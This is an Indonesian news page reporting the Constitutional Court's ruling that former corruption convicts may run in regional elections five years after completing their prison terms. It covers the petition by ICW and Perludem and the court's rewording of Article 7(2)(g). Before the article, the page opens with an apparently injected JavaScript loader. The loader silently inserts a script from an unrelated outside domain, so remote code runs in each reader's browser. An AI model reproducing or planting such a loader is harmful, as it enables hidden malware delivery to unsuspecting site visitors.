(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Eks Koruptor Boleh Ikut Pilkada Usai 5 Tahun Keluar Penjara


JAKARTA, Mahkamah Konstitusi (MK) membacakan putusan gugatan UU Pilkada terkait mantan eks korupsi menjadi calon kepala daera. Dalam putusnnya MK mengabulkan permohonan gugatan untuk sebagian.

“Amar Putusan mengadili dalam provisi mengabulkan permohonan profesi para pemohon untuk seluruhnya. Dalam pokok permohonan, mengabulkan permohonan para pemohon untuk sebagian,” ujar Ketua Majelis Anwar Usman dalam sidang putusan di MK, Jl Medan Merdeka Barat, Jakarta Pusat, Rabu (11/12).

Anwar mengatakan, UU 10 tahun 2016 pasal 7 ayat 2 huruf G bertentangan dengan UUD 1945. Serta tidak mempunyai kekuatan hukum mengikat secara beryarat.

“Bertentangan dengan undang-undang Dasar 1945 dan tidak mempunyai kekuatan hukum mengikat secara bersyarat sepanjang tidak dimaknai telah melewati jangka waktu 5 tahun setelah selesai menjalani pidana penjara berdasarkan putusan pengadilan yang telah mempunyai kekuatan hukum tetap,” ujar Anwar.

Dalam putusannya MK, memutuskan melakukan pengubahan bunyi untuk pasal 7 ayat 2 huruf g. Di mana dalam pengubahan disebutkan, pencalonan dapat dilakukan bagi mantan terpidana yang telah melewati jangka waktu 5 tahun setelah selesai menjalani pidana.

Berikut isi perubahan pasal sesuai putusan MK:

1. tidak pernah sebagai terpidana berdasarkan putusan pengadilan yang telah memperoleh kekuatan hukum tetap karena melakukan tindak pidana yang diancam dengan pidana penjara 5 tahun atau lebih, kecuali terhadap pidana yang melakukan tindak pidana kealfaan dan tindak pidana politik. dalam suatu perbuatan yang dinyatakan sebagai tindak pidana dalam hukum positif, hanya karena pelakunya memiliki pandangan politik yang berbeda dengan rezim yang sedang berkuasa.

2. bagi mantan terpidana yang telah melewati jangka waktu 5 tahun setelah selesai menjalani pidana penjara berdasarkan putusan pengadilan yang telah mempunyai kekuatan hukum tetap, dan secara jujur atau terbuka mengumumkan mengenai latar belakang jatidirinya sebagai mantan terpidana dan

3. Bukan sebagai pelaku kejahatan yang berulang-ulang.

Sebelumnya gugatan UU Pilkada diajukan Indonesia Corruption Watch (ICW) dan Perkumpulan untuk Pemilu dan Demokrasi (Perludem). Permohonan itu terkait pencalonan mantan terpidana kasus korupsi menjadi calon kepala daerah.

ICW dan Perludem menggugat ketentuan Pasal 7 ayat (2) huruf g UU No. 10 Tahun 2016 tentang syarat calon kepala daerah yang menyatakan:

…tidak pernah sebagai terpidana berdasarkan putusan pengadilan yang telah memperoleh kekuatan hukum tetap atau bagi mantan terpidana telah secara terbuka dan jujur mengemukakan kepada publik bahwa yang bersangkutan mantan terpidana

“Pasal ini dinilai menjadi pintu masuk pencalonan mantan koruptor untuk menjadi calon kepala daerah hanya dengan mengumumkan kepada publik sebagai persyaratan administratif. Pada praktiknya, ICW dan Perludem menemukan fakta bahwa pengumuman tersebut seringkali diakali untuk memenuhi persyaratan saja,” kata kuas hukum ICW, Donal Fariz.

ICW mencatat kasus ini pernah diputuskan oleh Mahkamah Konstitusi melalui perkara Putusan 4/PUU-VII/2009. “Maka dengan melihat jalannya proses persidangan, dan berpedoman kepada Putusan Mahkamah sebelumnya, ICW dan Perludem berkeyakinan Mahkamah Konstitusi akan mengacu kepada Putusan 4/PUU-VII/2009 di mana Ketentuan Pasal 7 ayat (2) huruf g UU No. 10 Tahun 2016 akan dimaknai koruptor tidak serta-merta diperbolehkan menjadi calon kepala daerah,” papar Donal.

“Tetapi, sesuai yang dimohonkan oleh ICW dan Perludem, penting ada masa tunggu bagi mantan koruptor untuk dapat kembali mencalonkan diri sebagai kepala daerah, terhitung sejak yang bersangkutan selesai menjalani pidananya. Di mana para pemohon meminta masa tunggu tersebut selama 10 tahun atau dua siklus pemilihan kepala daerah,” pungkas Donal. (asp/rvk)

Reporter : Asp/rvk
Editor : Chell


Desy Arfianty

Recent Posts

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

2 jam ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

2 jam ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

3 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

3 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

4 jam ago

Nurgita Tiyas Berharap Guru Dapat Lebih Cakap Digital

KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More

5 jam ago

This website uses cookies.